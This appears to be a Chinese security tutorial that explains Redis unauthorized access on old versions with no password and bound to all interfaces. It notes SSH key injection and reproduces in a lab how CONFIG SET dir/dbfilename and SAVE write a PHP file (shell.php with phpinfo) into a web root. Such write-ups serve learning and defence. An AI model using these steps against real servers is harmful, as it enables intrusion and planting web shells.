一.Redis简介
Redis是Remote Dictionary Server(远程数据服务)的缩写,由意大利人Antirez(SalvatoreSanfilippo)开发的一款内存高速缓存数据库,它使用C语言编写,其数据模型为key-value,并支持丰富的数据结构(类型),如string、list、hash、set、sorted sort。是跨平台的非关系型数据库。他的用途比较广泛,比如我们整页缓存。如果你正在使用服务器端呈现的内容,则不需要为每个单独请求重新渲染每个页面。使用如Redis:这样的缓存,你可以缓存经常请求的内容,从而大大减少请求最多的页面的延迟
二.漏洞简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存也可以持久化的日执行、Key-Value数据库。
首先下载redis,redis-4.0.10之前的版本Redis默认情况下会出现未授权访问,其中在redis3.2之后,redis增加了protected-mode,禁止外网访问redis,如果启用了,外网访问redis,会报出异常redis-.4.0.10之后的版本默认开启了保护模式,仅允许本地无密码验证连接。
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有添加防火墙规则避免其他非信任来源 ip 访问等策略时,会将 Redis 服务暴露到公网上;如果在没有设置密码认证(一般为空)的情况下,会导致任意用户未授权访问 Redis 以及读取 Redis 的数据。
在未授权访问时,利用 Redis 提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹下的authotrized_keys 文件中,然后使用对应私钥利用ssh服务登录目标服务器。
三.漏洞环境配置
Redis windows下载链接
https://github.com/sdksmate/redis-2.4.5-win32-win64
将下载的压缩包解压到C盘,到64bit目录下,打开cmd运行命令redis-server.exe redis.conf
Redis已经打开
redis -cli -h 服务器地址 连接Redis
四.漏洞复现
利用命令config set dir 选中路径
[config set dbfilename文件名]用于指定Redis备份文件的名字我这里的命令就
是指定了备份文件名字为shell.php
然后写入文件内容
[set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"]
最后save保存
访问网站根目录下的shell.php
————————————万物皆有裂痕,那是光照进来的地方
——————莱昂纳德-科恩